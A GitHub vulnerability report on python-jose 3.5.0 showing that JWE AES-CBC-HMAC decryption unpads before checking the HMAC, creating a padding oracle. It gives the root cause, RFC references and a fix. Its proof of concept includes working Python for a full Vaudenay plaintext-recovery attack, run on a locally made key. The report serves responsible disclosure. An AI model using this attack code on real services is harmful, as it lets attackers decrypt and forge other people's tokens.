Skip to content

[Vuln] JWE AES-CBC-HMAC decryption is a padding oracle — HMAC verified after CBC decrypt/unpad #421

Description

@kaii-k

0x01 Affected version

vendor: https://github.com/mpdavis/python-jose
version: 3.5.0 (latest, verified); the affected code path is long-standing and earlier releases are very likely affected.

0x02 What kind of vulnerability is it? Who is impacted?

jose.jwe.decrypt() for the AES-CBC-HMAC content-encryption algorithms (A128CBC-HS256, A192CBC-HS384, A256CBC-HS512 — the RFC 7518 MUST-implement JWE enc algorithms) decrypts and PKCS#7-unpads the ciphertext before verifying the HMAC authentication tag. The two failure modes raise different, attacker-observable errors:

Tampered ciphertext Resulting error
CBC decrypt yields invalid PKCS#7 padding JWEError: Invalid padding bytes.
padding valid, HMAC does not match JWEError: Invalid JWE Auth Tag

This is a classic Vaudenay CBC padding oracle. Any application that exposes the decryption outcome — the exception message, a distinct HTTP status, a log line the attacker can read, or any other observable difference — lets an attacker who can submit JWE tokens decrypt arbitrary ciphertext and forge ciphertexts without knowing the key.

Impacted: any service using python-jose to decrypt attacker-influenced JWEs with a CBC-HMAC enc (commonly alg=dir + A128CBC-HS256 with a shared symmetric key) that does not perfectly suppress decryption errors.

Suggested severity: Medium–High.
CVSS 3.1: AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N (5.9) — AC:H because the application must expose the error distinction.
CWE-347 (Improper Verification of Cryptographic Signature); related CWE-203 (Observable Discrepancy), CWE-208 (Observable Timing Discrepancy).

0x03 Root cause

jose/jwe.py, _decrypt_and_auth() (lines ~239–248):

if enc in ALGORITHMS.HMAC_AUTH_TAG:
    encryption_key, mac_key, key_len = _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc)
    auth_tag_check = _auth_tag(cipher_text, iv, aad, mac_key, key_len)
...
plaintext = encryption_key.decrypt(cipher_text, iv, aad, auth_tag)   # CBC decrypt + PKCS7 unpad FIRST
if auth_tag != auth_tag_check:                                       # HMAC checked AFTER, and with a
    raise JWEError("Invalid JWE Auth Tag")                           # non-constant-time  !=  comparison
return plaintext

encryption_key.decrypt() (jose/backends/cryptography_backend.py, AESKey.decrypt, CBC branch) calls PKCS7(...).unpadder().finalize(), which raises ValueError("Invalid padding bytes.") on bad padding; that is wrapped as JWEError("Invalid padding bytes.") and propagates before the auth_tag check is reached.

RFC 7516 §5.2 (step 12) and RFC 7518 §5.2.2.2 require the opposite order: verify the Authentication Tag first and "reject the input without emitting any decrypted output if the JWE Authentication Tag is incorrect."

Secondary issue: auth_tag != auth_tag_check is a plain bytes comparison, which short-circuits on the first differing byte (non-constant-time). The library already has hmac.compare_digest (used in HMACKey.verify) but does not use it here.

GCM (A128GCM, etc.) is not affected — it sets auth_tag_check = auth_ (source note: sentence was cut off at this point in the original report).

0x04 Proof of Concept

Distinct error messages (the oracle):

from jose import jwe
from jose.utils import base64url_decode, base64url_encode
import os

key = os.urandom(32)
tok = jwe.encrypt(b"secret-plaintext-data-0123456789", key,
                  encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = (tok.decode() if isinstance(tok, bytes) else tok).split(".")
ct_raw = bytearray(base64url_decode(ct.encode()))

def mk(pos):
    b = bytearray(ct_raw); b[pos] ^= 1
    return ".".join([h, ek, iv, base64url_encode(bytes(b)).decode(), tag])

for name, t in (("bad PKCS7 padding", mk(len(ct_raw) - 17)),
                ("valid padding, bad MAC", mk(0))):
    try: jwe.decrypt(t, key)
    except Exception as e: print(f"{name:24} -> {e}")

bad PKCS7 padding -> Invalid padding bytes.
valid padding, bad MAC -> Invalid JWE Auth Tag

Full plaintext block recovery without the key (Vaudenay attack driven only by that distinction):

PT  = b"MESSAGE-BLOCK-01"                   # 16 bytes
victim = jwe.encrypt(PT, KEY, encryption="A128CBC-HS256", algorithm="dir")
h, ek, iv, ct, tag = (victim.decode() if isinstance(victim, bytes) else victim).split(".")
C  = base64url_decode(ct.encode()); IV = base64url_decode(iv.encode())
C1 = C[:16]

def padding_valid(ivp):
    t = ".".join([h, ek, base64url_encode(bytes(ivp)).decode(),
                  base64url_encode(C1).decode(), tag])
    try: jwe.decrypt(t, KEY); return True
    except Exception as e: return "padding" not in str(e).lower()

inter = bytearray(16)
for pos in range(15, -1, -1):
    pad = 16 - pos
    for g in range(256):
        ivp = bytearray(16); ivp[pos] = g
        for k in range(pos + 1, 16): ivp[k] = inter[k] ^ pad
        if padding_valid(ivp):
            if pad == 1:
                ivp2 = bytearray(ivp); ivp2[pos - 1] ^= 0xFF
                if not padding_valid(ivp2): continue
            inter[pos] = g ^ pad
            break

recovered = bytes(inter[i] ^ IV[i] for i in range(16))
print(recovered)          # b'MESSAGE-BLOCK-01'
assert recovered == PT

Output: b'MESSAGE-BLOCK-01' — the full plaintext block recovered using only the Invalid padding bytes. vs Invalid JWE Auth Tag distinction. (python-jose[cryptography]==3.5.0, Python 3.13.)

0x05 Suggested fix

In _decrypt_and_auth() (jose/jwe.py), for the CBC-HMAC branch, verify the HMAC before decrypting, using a constant-time comparison:

if enc in ALGORITHMS.HMAC_AUTH_TAG:
    encryption_key, mac_key, key_len = _get_encryption_key_mac_key_and_key_length_from_cek(cek_bytes, enc)
    auth_tag_check = _auth_tag(cipher_text, iv, aad, mac_key, key_len)
    if not hmac.compare_digest(auth_tag, auth_tag_check):
        raise JWEError("Invalid JWE Auth Tag")
    return encryption_key.decrypt(cipher_text, iv, aad, auth_tag)
elif enc in ALGORITHMS.GCM:
    ...

(import hmac at module top.) This restores the RFC-mandated verify-then-decrypt order and removes both the padding oracle and the non-constant-time tag comparison.

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions